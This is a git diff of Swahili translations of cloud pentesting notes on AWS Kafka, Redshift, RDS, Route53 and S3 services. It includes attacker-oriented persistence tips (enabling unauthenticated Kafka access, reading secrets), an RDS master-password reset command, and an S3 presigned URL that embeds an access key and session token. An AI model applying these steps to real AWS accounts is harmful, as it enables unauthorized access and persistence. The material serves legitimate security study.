mshambuliaji unahitaji kujua kwamba: +Kutoka kwa mtazamo wa mshambuliaji unahitaji kujua kwamba: -- **Isiyo na Server haiwezi kuwa hadharani moja kwa moja** (inaweza kukimbia tu kwenye VPN bila IP yoyote iliyofichuliwa hadharani). Hata hivyo, **Iliyotolewa** inaweza kuundwa ili kupata **IP ya hadharani** (kwa kawaida haipatikani) na kuunda **kikundi cha usalama** ili **kufichua** bandari zinazohusiana. -- **Isiyo na Server** **inasaidia tu IAM** kama njia ya uthibitisho. **Iliyotolewa** inasaidia uthibitisho wa SASL/SCRAM (**nenosiri**), uthibitisho wa **IAM**, uthibitisho wa Msimamizi wa **Cheti** cha AWS (ACM) na ufikiaji **usio na uthibitisho**. -- Kumbuka kwamba haiwezekani kufichua hadharani Kafka Iliyotolewa ikiwa ufikiaji usio na uthibitisho umewezeshwa. +- **Serverless haiwezi kuwa hadharani moja kwa moja** (inaweza kukimbia tu kwenye VPN bila IP iliyofichuliwa hadharani). Hata hivyo, **Provisioned** inaweza kuwekwa ili kupata **IP ya hadharani** (kwa kawaida haipatikani) na kuweka **kikundi cha usalama** ili **kufichua** bandari zinazohusiana. +- **Serverless** **inasaidia tu IAM** kama njia ya uthibitisho. **Provisioned** inasaidia uthibitisho wa SASL/SCRAM (**nenosiri**), uthibitisho wa **IAM**, uthibitisho wa Meneja wa **Cheti** cha AWS (ACM) na ufikiaji wa **Haujaidhinishwa**. +- Kumbuka kwamba haiwezekani kufichua hadharani Kafka ya Provisioned ikiwa ufikiaji usio na uthibitisho umewezeshwa. ### Enumeration ```bash @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -Ikiwa unatarajia **kuwa na ufikiaji wa VPC** ambapo Kafka iliyotolewa iko, unaweza **kuwezesha ufikiaji usioidhinishwa**, ikiwa **uthibitishaji wa SASL/SCRAM**, **soma** nenosiri kutoka kwa siri, toa **mwingine mtumiaji aliye na ruhusa za IAM** (ikiwa IAM au serverless inatumika) au kudumu na **vyeti**. +Ikiwa uta **kuwa na ufikiaji wa VPC** ambapo Kafka iliyotolewa iko, unaweza **kuwezesha ufikiaji usioidhinishwa**, ikiwa **SASL/SCRAM uthibitishaji**, **soma** nenosiri kutoka kwa siri, toa **mwingine mtumiaji aliye na ruhusa za IAM** (ikiwa IAM au serverless inatumika) au kudumu na **vyeti**. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index a3e2ba041..3ba162ed6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -10,7 +10,7 @@ Mambo Muhimu: - **Uundaji wa Akaunti Mpya**: AWS Organizations inaruhusu uundaji wa akaunti mpya za AWS bila malipo ya ziada. - **Gawanya Rasilimali**: Inarahisisha mchakato wa kugawa rasilimali kati ya akaunti. -- **Uunganishaji wa Akaunti**: Akaunti zinaweza kuunganishwa pamoja, na kufanya usimamizi kuwa rahisi zaidi. +- **Kundi la Akaunti**: Akaunti zinaweza kuunganishwa pamoja, kufanya usimamizi kuwa rahisi zaidi. - **Sera za Utawala**: Sera zinaweza kutumika kwa akaunti au vikundi vya akaunti, kuhakikisha kufuata sheria na utawala katika shirika. Unaweza kupata maelezo zaidi katika: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 1de64805f..85701db88 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,23 +4,23 @@ ## Amazon Redshift -Redshift ni huduma inayosimamiwa kikamilifu ambayo inaweza kupanuka hadi zaidi ya petabyte kwa ukubwa, ambayo inatumika kama **ghala la data kwa suluhisho za big data**. Kwa kutumia klasta za Redshift, unaweza kufanya uchambuzi dhidi ya seti zako za data kwa kutumia zana za maswali za SQL za haraka na programu za akili ya biashara ili kupata ufahamu mkubwa wa maono ya biashara yako. +Redshift ni huduma inayosimamiwa kikamilifu ambayo inaweza kupanuka hadi zaidi ya petabyte kwa ukubwa, ambayo inatumika kama **ghala la data kwa suluhisho za big data**. Kwa kutumia klasta za Redshift, unaweza kufanya uchambuzi dhidi ya seti zako za data kwa kutumia zana za maswali za SQL na programu za akili ya biashara ili kupata ufahamu mkubwa wa maono ya biashara yako. -**Redshift inatoa usimbaji wa data wakati wa kupumzika kwa kutumia ngazi nne za funguo za usimbaji kwa kutumia KMS au CloudHSM kusimamia ngazi ya juu ya funguo**. **Wakati usimbaji umewezeshwa kwa klasta yako, hauwezi kuzuiliwa na kinyume chake**. Wakati una klasta isiyo na usimbaji, haiwezi kusimbwa. +**Redshift inatoa usimbuaji wakati wa kupumzika kwa kutumia ngazi nne za funguo za usimbuaji kwa kutumia KMS au CloudHSM kusimamia ngazi ya juu ya funguo**. **Wakati usimbuaji umewezeshwa kwa klasta yako, hauwezi kuzuiliwa na kinyume chake**. Wakati una klasta isiyo na usimbuaji, haiwezi kusimbwa. -Usimbaji wa klasta yako unaweza kutokea tu wakati wa uundaji wake, na mara tu inaposimbwa, data, metadata, na picha zozote pia zimefungwa. Ngazi za funguo za usimbaji ni kama ifuatavyo, **ngazi ya kwanza ni funguo kuu, ngazi ya pili ni funguo za usimbaji za klasta, CEK, ngazi ya tatu, funguo za usimbaji za hifadhidata, DEK, na hatimaye ngazi ya nne, funguo za usimbaji za data wenyewe**. +Usimbuaji kwa klasta yako unaweza kutokea tu wakati wa uundaji wake, na mara tu inaposimbwa, data, metadata, na picha zozote pia zimewekwa usimbuaji. Ngazi za funguo za usimbuaji ni kama ifuatavyo, **ngazi moja ni funguo kuu, ngazi mbili ni funguo za usimbuaji wa klasta, CEK, ngazi tatu, funguo za usimbuaji wa hifadhidata, DEK, na hatimaye ngazi nne, funguo za usimbuaji wa data wenyewe**. ### KMS -Wakati wa uundaji wa klasta yako, unaweza kuchagua **funguo za KMS za default** kwa Redshift au kuchagua **CMK yako mwenyewe**, ambayo inakupa urahisi zaidi juu ya udhibiti wa funguo, hasa kutoka mtazamo wa kuweza kukaguliwa. +Wakati wa uundaji wa klasta yako, unaweza kuchagua **funguo za KMS za default** kwa Redshift au kuchagua **CMK yako mwenyewe**, ambayo inakupa uwezo zaidi juu ya udhibiti wa funguo, hasa kutoka mtazamo wa kuweza kukaguliwa. Funguo za KMS za default kwa Redshift zinaundwa kiotomatiki na Redshift wakati wa mara ya kwanza chaguo la funguo linapochaguliwa na kutumika, na inasimamiwa kikamilifu na AWS. -Funguo hii ya KMS kisha inasimbwa kwa funguo kuu ya CMK, ngazi ya kwanza. Funguo hii ya data ya KMS iliyosimbwa kisha inatumika kama funguo za usimbaji za klasta, CEK, ngazi ya pili. CEK hii kisha inatumwa na KMS kwa Redshift ambapo inahifadhiwa tofauti na klasta. Redshift kisha inatuma CEK hii iliyosimbwa kwa klasta kupitia njia salama ambapo inahifadhiwa kwenye kumbukumbu. +Funguo hii ya KMS kisha inasimbwa kwa funguo kuu ya CMK, ngazi moja. Funguo hii ya data ya KMS iliyosimbwa kisha inatumika kama funguo za usimbuaji wa klasta, CEK, ngazi mbili. CEK hii kisha inatumwa na KMS kwa Redshift ambapo inahifadhiwa tofauti na klasta. Redshift kisha inatuma CEK hii iliyosimbwa kwa klasta kupitia njia salama ambapo inahifadhiwa kwenye kumbukumbu. -Redshift kisha inaomba KMS kusimbua CEK, ngazi ya pili. CEK hii iliyosimbwa kisha inahifadhiwa pia kwenye kumbukumbu. Redshift kisha inaunda funguo za usimbaji za hifadhidata za nasibu, DEK, ngazi ya tatu, na kuziingiza kwenye kumbukumbu ya klasta. CEK iliyosimbwa kwenye kumbukumbu kisha inasimbua DEK, ambayo pia inahifadhiwa kwenye kumbukumbu. +Redshift kisha inaomba KMS kusimbua CEK, ngazi mbili. CEK hii iliyosimbwa kisha inahifadhiwa pia kwenye kumbukumbu. Redshift kisha inaunda funguo za usimbuaji wa hifadhidata, DEK, ngazi tatu, na kuipakia kwenye kumbukumbu ya klasta. CEK iliyosimbwa kwenye kumbukumbu kisha inasimbua DEK, ambayo pia inahifadhiwa kwenye kumbukumbu. -DEK hii iliyosimbwa kisha inatumwa kupitia njia salama na kuhifadhiwa katika Redshift tofauti na klasta. CEK na DEK sasa zimehifadhiwa kwenye kumbukumbu ya klasta zote kwa njia ya usimbaji na usimbuaji. DEK iliyosimbwa kisha inatumika kusimbua funguo za data, ngazi ya nne, ambazo zinaundwa kwa nasibu na Redshift kwa kila block ya data katika hifadhidata. +DEK hii iliyosimbwa kisha inatumwa kupitia njia salama na kuhifadhiwa katika Redshift tofauti na klasta. CEK na DEK sasa zimehifadhiwa kwenye kumbukumbu ya klasta zote kwa njia ya usimbaji na usimbuaji. DEK iliyosimbwa kisha inatumika kusimbua funguo za data, ngazi nne, ambazo zinaundwa kwa bahati nasibu na Redshift kwa kila block ya data katika hifadhidata. Unaweza kutumia AWS Trusted Advisor kufuatilia usanidi wa ndoo zako za Amazon S3 na kuhakikisha kuwa uandishi wa ndoo umewezeshwa, ambayo inaweza kuwa muhimu kwa kufanya ukaguzi wa usalama na kufuatilia mifumo ya matumizi katika S3. @@ -28,17 +28,17 @@ Unaweza kutumia AWS Trusted Advisor kufuatilia usanidi wa ndoo zako za Amazon S3
-Kutumia Redshift na CloudHSM +Using Redshift with CloudHSM -Wakati unafanya kazi na CloudHSM ili kutekeleza usimbaji wako, kwanza lazima uanzishe muunganisho wa kuaminika kati ya mteja wako wa HSM na Redshift wakati wa kutumia vyeti vya mteja na seva. +Wakati unafanya kazi na CloudHSM ili kutekeleza usimbuaji wako, kwanza lazima uanzishe muunganisho wa kuaminika kati ya mteja wako wa HSM na Redshift huku ukitumia vyeti vya mteja na seva. -Muunganisho huu unahitajika kutoa mawasiliano salama, kuruhusu funguo za usimbaji kutumwa kati ya mteja wako wa HSM na klasta zako za Redshift. Kwa kutumia jozi ya funguo za kibinafsi na za umma zilizoundwa kwa nasibu, Redshift inaunda cheti cha mteja wa umma, ambacho kinasimbwa na kuhifadhiwa na Redshift. Hii lazima ipakuliwe na kuandikishwa kwa mteja wako wa HSM, na kupewa sehemu sahihi ya HSM. +Muunganisho huu unahitajika kutoa mawasiliano salama, kuruhusu funguo za usimbuaji kutumwa kati ya mteja wako wa HSM na klasta zako za Redshift. Kwa kutumia jozi ya funguo za kibinafsi na za umma zilizoundwa kwa bahati nasibu, Redshift inaunda cheti cha mteja wa umma, ambacho kinasimbwa na kuhifadhiwa na Redshift. Hii lazima ipakuliwe na kuandikishwa kwa mteja wako wa HSM, na kutolewa kwa sehemu sahihi ya HSM. -Basi lazima uweke Redshift na maelezo yafuatayo ya mteja wako wa HSM: anwani ya IP ya HSM, jina la sehemu ya HSM, nenosiri la sehemu ya HSM, na cheti cha seva ya umma ya HSM, ambacho kinasimbwa na CloudHSM kwa kutumia funguo kuu za ndani. Mara tu habari hii itakapopewa, Redshift itathibitisha na kuthibitisha kwamba inaweza kuungana na kufikia sehemu ya maendeleo. +Lazima kisha uweke Redshift na maelezo yafuatayo ya mteja wako wa HSM: anwani ya IP ya HSM, jina la sehemu ya HSM, nenosiri la sehemu ya HSM, na cheti cha seva ya umma ya HSM, ambacho kinasimbwa na CloudHSM kwa kutumia funguo kuu za ndani. Mara tu habari hii itakapopewa, Redshift itathibitisha na kuthibitisha kwamba inaweza kuungana na kufikia sehemu ya maendeleo. -Ikiwa sera zako za usalama za ndani au udhibiti wa utawala zinataka kwamba lazima uweke mzunguko wa funguo, basi hii inawezekana na Redshift ikikuruhusu kubadilisha funguo za usimbaji kwa klasta zilizofungwa, hata hivyo, unahitaji kuwa makini kwamba wakati wa mchakato wa kubadilisha funguo, itafanya klasta kuwa haipatikani kwa muda mfupi sana, na hivyo ni bora kubadilisha funguo tu unapohitaji, au ikiwa unahisi zinaweza kuwa zimeathiriwa. +Ikiwa sera zako za usalama za ndani au udhibiti wa utawala zinataka kwamba lazima uweke mzunguko wa funguo, basi hii inawezekana na Redshift ikikuruhusu kubadilisha funguo za usimbuaji kwa klasta zilizowekwa usimbuaji, hata hivyo, unahitaji kuwa makini kwamba wakati wa mchakato wa kubadilisha funguo, itafanya klasta kuwa haipatikani kwa muda mfupi sana, na hivyo ni bora kubadilisha funguo tu unapohitaji, au ikiwa unahisi zinaweza kuwa zimeathiriwa. -Wakati wa kubadilisha, Redshift itabadilisha CEK kwa klasta yako na kwa nakala zozote za klasta hiyo. Itabadilisha DEK kwa klasta lakini haiwezekani kubadilisha DEK kwa picha zilizohifadhiwa katika S3 ambazo zimefungwa kwa kutumia DEK. Itaiweka klasta katika hali ya 'kubadilisha funguo' hadi mchakato ukamilike wakati hali itarudi kuwa 'inapatikana'. +Wakati wa mzunguko, Redshift itabadilisha CEK kwa klasta yako na kwa nakala zozote za klasta hiyo. Itabadilisha DEK kwa klasta lakini haiwezekani kubadilisha DEK kwa picha zilizohifadhiwa katika S3 ambazo zimewekwa usimbuaji kwa kutumia DEK. Itaiweka klasta katika hali ya 'kubadilisha funguo' hadi mchakato ukamilike wakati hali itarudi kuwa 'inapatikana'.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 746910fab..3a556a8e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,33 +4,33 @@ ## Basic Information -Huduma ya **Relational Database Service (RDS)** inayotolewa na AWS imeundwa kuboresha uwekaji, uendeshaji, na kupanua **database ya uhusiano katika wingu**. Huduma hii inatoa faida za ufanisi wa gharama na upanuzi huku ikitengeneza kazi zinazohitaji nguvu kama vile ugawaji wa vifaa, usanidi wa database, urekebishaji, na nakala za akiba. +Huduma ya **Relational Database Service (RDS)** inayotolewa na AWS imeundwa kuboresha uwekaji, uendeshaji, na upanuzi wa **database ya uhusiano katika wingu**. Huduma hii inatoa faida za ufanisi wa gharama na upanuzi huku ikitengeneza kazi zinazohitaji nguvu kama vile ugawaji wa vifaa, usanidi wa database, urekebishaji, na nakala za akiba. AWS RDS inasaidia injini mbalimbali maarufu za database za uhusiano ikiwa ni pamoja na MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, na Amazon Aurora, ikiwa na ufanisi kwa MySQL na PostgreSQL. Vipengele muhimu vya RDS ni pamoja na: - **Usimamizi wa mifano ya database** umewekwa rahisi. -- Uundaji wa **nakala za kusoma** ili kuboresha utendaji wa kusoma. -- Usanidi wa **uzinduzi wa Multi-Availability Zone (AZ)** ili kuhakikisha upatikanaji wa juu na mifumo ya kuhamasisha. +- Uundaji wa **read replicas** ili kuboresha utendaji wa kusoma. +- Usanidi wa **multi-Availability Zone (AZ) deployments** ili kuhakikisha upatikanaji wa juu na mifumo ya kuhamasisha. - **Ushirikiano** na huduma nyingine za AWS, kama: -- AWS Identity and Access Management (**IAM**) kwa udhibiti wa ufikiaji thabiti. +- AWS Identity and Access Management (**IAM**) kwa udhibiti wa ufikiaji wenye nguvu. - AWS **CloudWatch** kwa ufuatiliaji na vipimo vya kina. - AWS Key Management Service (**KMS**) kwa kuhakikisha usimbaji fiche wakati wa kupumzika. ## Credentials -Unapounda klasta ya DB jina la **mtumiaji mkuu** linaweza kuwekewa usanidi (**`admin`** kwa chaguo-msingi). Ili kuunda nenosiri la mtumiaji huyu unaweza: +Wakati wa kuunda klasta ya DB jina la **mtumiaji mkuu** linaweza kuwekewa usanidi (**`admin`** kwa chaguo-msingi). Ili kuunda nenosiri la mtumiaji huyu unaweza: - **Onyesha** nenosiri **mwenyewe** -- Mwambie RDS **ijitengeneze** yenyewe +- Mwambie RDS **kuunda moja kiotomatiki** - Mwambie RDS kusimamia katika **AWS Secret Manager** iliyosimbwa kwa ufunguo wa KMS
### Authentication -Kuna aina 3 za chaguo za uthibitishaji, lakini kutumia **nenosiri la mkuu daima linaruhusiwa**: +Kuna aina 3 za chaguo za uthibitishaji, lakini kutumia **nenosiri la mkuu daima kunaruhusiwa**:
@@ -38,7 +38,7 @@ Kuna aina 3 za chaguo za uthibitishaji, lakini kutumia **nenosiri la mkuu daima Kwa chaguo-msingi **hakuna ufikiaji wa umma unaotolewa** kwa databases, hata hivyo inaweza **kutolewa**. Hivyo, kwa chaguo-msingi mashine tu kutoka VPC hiyo hiyo zitakuwa na uwezo wa kuifikia ikiwa **kikundi cha usalama** kilichochaguliwa (kimehifadhiwa katika EC2 SG) kinaruhusu. -Badala ya kufichua mfano wa DB, inawezekana kuunda **RDS Proxy** ambayo **inaboresha** **upanuzi** & **upatikanaji** wa klasta ya DB. +Badala ya kufichua mfano wa DB, inawezekana kuunda **RDS Proxy** ambayo **inaimarisha** **upanuzi** & **upatikanaji** wa klasta ya DB. Zaidi ya hayo, **bandari ya database inaweza kubadilishwa** pia. @@ -46,27 +46,27 @@ Zaidi ya hayo, **bandari ya database inaweza kubadilishwa** pia. **Usimbaji fiche umewezeshwa kwa chaguo-msingi** kwa kutumia ufunguo unaosimamiwa na AWS (ufunguo wa CMK unaweza kuchaguliwa badala yake). -Kwa kuwezesha usimbaji wako, unawawezesha **usimbaji fiche wakati wa kupumzika kwa uhifadhi wako, picha za snapshot, nakala za kusoma na nakala zako za akiba**. Funguo za kusimamia usimbaji huu zinaweza kutolewa kwa kutumia **KMS**.\ -Haiwezekani kuongeza kiwango hiki cha usimbaji baada ya database yako kuundwa. **Lazima ifanyike wakati wa kuunda**. +Kwa kuwezesha usimbaji wako, unawawezesha **usimbaji fiche wakati wa kupumzika kwa uhifadhi wako, picha za snapshot, read replicas na nakala zako za akiba**. Funguo za kusimamia usimbaji huu zinaweza kutolewa kwa kutumia **KMS**.\ +Haiwezekani kuongeza kiwango hiki cha usimbaji baada ya database yako kuundwa. **Lazima ifanyike wakati wa uundaji wake**. Hata hivyo, kuna **njia mbadala inayokuruhusu kusimbwa fiche database isiyosimbwa kama ifuatavyo**. Unaweza kuunda picha ya snapshot ya database yako isiyosimbwa, kuunda nakala iliyosimbwa ya snapshot hiyo, tumia snapshot hiyo iliyosimbwa kuunda database mpya, na kisha, hatimaye, database yako itakuwa imewekwa usimbaji fiche. #### Transparent Data Encryption (TDE) -Pamoja na uwezo wa usimbaji fiche unaopatikana kwa RDS katika kiwango cha programu, RDS pia inasaidia **mbinu za usimbaji fiche za ziada za jukwaa** ili kulinda data wakati wa kupumzika. Hii inajumuisha **Transparent Data Encryption (TDE)** kwa Oracle na SQL Server. Hata hivyo, ni muhimu kutambua kwamba ingawa TDE inaboresha usalama kwa kusimbwa fiche data wakati wa kupumzika, inaweza pia **kuathiri utendaji wa database**. Athari hii ya utendaji inajitokeza hasa inapotumika pamoja na kazi za usimbaji fiche za MySQL au kazi za usimbaji fiche za Microsoft Transact-SQL. +Pamoja na uwezo wa usimbaji fiche ulio ndani ya RDS katika ngazi ya programu, RDS pia inasaidia **mbinu za usimbaji fiche za ngazi ya jukwaa** ili kulinda data wakati wa kupumzika. Hii inajumuisha **Transparent Data Encryption (TDE)** kwa Oracle na SQL Server. Hata hivyo, ni muhimu kutambua kwamba ingawa TDE inaongeza usalama kwa kusimbwa fiche data wakati wa kupumzika, inaweza pia **kuathiri utendaji wa database**. Athari hii ya utendaji inajitokeza hasa inapotumika pamoja na kazi za usimbaji fiche za MySQL au kazi za usimbaji fiche za Microsoft Transact-SQL. Ili kutumia TDE, hatua fulani za awali zinahitajika: -1. **Kushirikiana kwa Kundi la Chaguo**: -- Database lazima iwe na ushirikiano na kundi la chaguo. Vikundi vya chaguo vinatumika kama vyombo vya kuweka mipangilio na vipengele, vinavyosaidia usimamizi wa database, ikiwa ni pamoja na maboresho ya usalama. +1. **Kundi la Chaguo**: +- Database lazima iunganishwe na kundi la chaguo. Vikundi vya chaguo vinatumika kama vyombo vya mipangilio na vipengele, vinavyorahisisha usimamizi wa database, ikiwa ni pamoja na maboresho ya usalama. - Hata hivyo, ni muhimu kutambua kwamba vikundi vya chaguo vinapatikana tu kwa injini maalum za database na matoleo. 2. **Kuongeza TDE katika Kundi la Chaguo**: -- Mara tu inaposhirikishwa na kundi la chaguo, chaguo la Oracle Transparent Data Encryption linahitaji kuongezwa katika kundi hilo. +- Mara tu ikishaundwa na kundi la chaguo, chaguo la Oracle Transparent Data Encryption linahitaji kuongezwa katika kundi hilo. - Ni muhimu kutambua kwamba mara chaguo la TDE linapoongezwa kwenye kundi la chaguo, linakuwa kipengele cha kudumu na haliwezi kuondolewa. 3. **Modes za Usimbaji wa TDE**: - TDE inatoa modes mbili tofauti za usimbaji: - **TDE Tablespace Encryption**: Hali hii inasimbwa fiche meza nzima, ikitoa wigo mpana wa ulinzi wa data. -- **TDE Column Encryption**: Hali hii inazingatia kusimbwa fiche vipengele maalum, ikiruhusu udhibiti wa kina juu ya ni data gani inasimbwa fiche. +- **TDE Column Encryption**: Hali hii inazingatia kusimbwa fiche vipengele maalum, ikiruhusu udhibiti wa kina juu ya ni data gani inayo simbwa fiche. Kuelewa masharti haya na intricacies za uendeshaji wa TDE ni muhimu kwa kutekeleza na kusimamia usimbaji fiche ndani ya RDS, kuhakikisha usalama wa data na kufuata viwango vinavyohitajika. @@ -131,7 +131,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ### SQL Injection -Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo, **injections za SQL za kawaida pia zinaweza kutokea**. +Kuna njia za kufikia data za DynamoDB kwa kutumia **sintaksia ya SQL**, hivyo basi, **injections za SQL za kawaida pia zinawezekana**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index ebaafcab0..367ada871 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -10,7 +10,7 @@ Unaweza kuunda https, http na tcp **health checks for web pages** kupitia Route5 ### IP-based routing Hii ni muhimu kuboresha usambazaji wako wa DNS ili kufanya maamuzi bora ya usambazaji wa DNS kwa watumiaji wako wa mwisho.\ -Usambazaji wa IP unakupa uwezo wa ziada wa **optimize routing based on specific knowledge of your customer base**. +IP-based routing inakupa uwezo wa ziada wa **optimize routing based on specific knowledge of your customer base**. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index fc90a3fe7..dd53c5101 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,34 +6,34 @@ Amazon S3 ni huduma inayokuruhusu **hifadhi kiasi kikubwa cha data**. -Amazon S3 inatoa chaguzi nyingi za kufikia **ulinzi** wa data wakati wa kupumzika. Chaguzi hizo ni pamoja na **Ruhusa** (Sera), **Ushifirishaji** (Upande wa Mteja na Upande wa Server), **Mabadiliko ya Kichwa** na **kuondolewa** kulingana na **MFA**. **Mtumiaji anaweza kuwezesha** chaguo lolote kati ya haya ili kufikia ulinzi wa data. **Replika ya data** ni huduma ya ndani ya AWS ambapo **S3 inajirudia kiotomatiki kila kitu katika maeneo yote ya Upatikanaji** na shirika halihitaji kuifanya katika kesi hii. +Amazon S3 inatoa chaguzi nyingi za kufikia **ulinzi** wa data katika hali ya kupumzika. Chaguzi hizo ni pamoja na **Ruhusa** (Sera), **Ushifirishaji** (Upande wa Mteja na Upande wa Server), **Mabadiliko ya Kichaka** na **kuondolewa** kwa msingi wa **MFA**. **Mtumiaji anaweza kuwezesha** chaguo lolote kati ya haya ili kufikia ulinzi wa data. **Replika ya data** ni huduma ya ndani ya AWS ambapo **S3 inajirudia kiotomatiki kila kitu katika maeneo yote ya Upatikanaji** na shirika halihitaji kuifanya iweze katika kesi hii. -Kwa ruhusa za msingi wa rasilimali, unaweza kufafanua ruhusa kwa sub-directories za kichwa chako tofauti. +Kwa ruhusa za msingi wa rasilimali, unaweza kufafanua ruhusa kwa sub-directories za kichaka chako tofauti. -### Mabadiliko ya Kichwa na kuondolewa kulingana na MFA +### Mabadiliko ya Kichaka na kuondolewa kwa msingi wa MFA -Wakati mabadiliko ya kichwa yanapowezeshwa, kitendo chochote kinachojaribu kubadilisha faili ndani ya faili kitazalisha toleo jipya la faili, huku pia ikihifadhi yaliyomo ya awali ya hiyo. Hivyo, haitafuta yaliyomo yake. +Wakati mabadiliko ya kichaka yanapowezeshwa, kitendo chochote kinachojaribu kubadilisha faili ndani ya faili kitazalisha toleo jipya la faili, huku pia ikihifadhi yaliyomo ya awali ya hiyo. Hivyo, haitafuta yaliyomo yake. -Zaidi ya hayo, kuondolewa kulingana na MFA kutazuia toleo za faili katika kichwa cha S3 zisifutwe na pia Mabadiliko ya Kichwa yasizuiliwe, hivyo mshambuliaji hataweza kubadilisha faili hizi. +Zaidi ya hayo, kuondolewa kwa msingi wa MFA kutazuia matoleo ya faili katika kichaka cha S3 kufutwa na pia Mabadiliko ya Kichaka yasizuiliwe, hivyo mshambuliaji hataweza kubadilisha faili hizi. ### S3 Access logs -Inawezekana **kuwezesha kuingia kwa S3** (ambayo kwa kawaida imezuiliwa) kwa kichwa fulani na kuhifadhi kumbukumbu katika kichwa tofauti ili kujua nani anayeingia kwenye kichwa (vichwa vyote vinapaswa kuwa katika eneo moja). +Inawezekana **kuwezesha kuingia kwa S3** (ambayo kwa kawaida imezuiliwa) kwa kichaka fulani na kuhifadhi logi katika kichaka tofauti ili kujua nani anayeingia kwenye kichaka (kichaka vyote vinapaswa kuwa katika eneo moja). ### S3 Presigned URLs -Inawezekana kuzalisha URL iliyosainiwa mapema ambayo kwa kawaida inaweza kutumika **kufikia faili iliyoainishwa** katika kichwa. **URL iliyosainiwa mapema inaonekana kama hii**: +Inawezekana kuzalisha URL iliyosainiwa mapema ambayo kwa kawaida inaweza kutumika **kufikia faili iliyoainishwa** katika kichaka. **URL iliyosainiwa mapema inaonekana kama hii**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL can be **created from the cli using credentials of a principal with access to the object** (ikiwa akaunti unayotumia haina ufikiaji, URL fupi ya presigned itaundwa lakini itakuwa haina maana) +A presigned URL inaweza **kuundwa kutoka kwa cli kwa kutumia akreditivu za kiongozi mwenye ufikiaji wa kitu** (ikiwa akaunti unayotumia haina ufikiaji, URL fupi ya presigned itaundwa lakini itakuwa haina maana) ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> Ruhusa pekee inayohitajika kuunda URL iliyosainiwa mapema ni ruhusa inayotolewa, hivyo kwa amri ya awali ruhusa pekee inayohitajika na mhusika ni `s3:GetObject` +> Ruhusa pekee inayohitajika kuunda URL iliyo na saini ni ruhusa inayotolewa, hivyo kwa amri ya awali ruhusa pekee inayohitajika na mhusika ni `s3:GetObject` -Pia inawezekana kuunda URL zilizotiwa saini mapema zikiwa na **ruhusa nyingine**: +Pia inawezekana kuunda URL zenye saini na **ruhusa nyingine**: ```python import boto3 url = boto3.client('s3').generate_presigned_url( @@ -44,7 +44,7 @@ 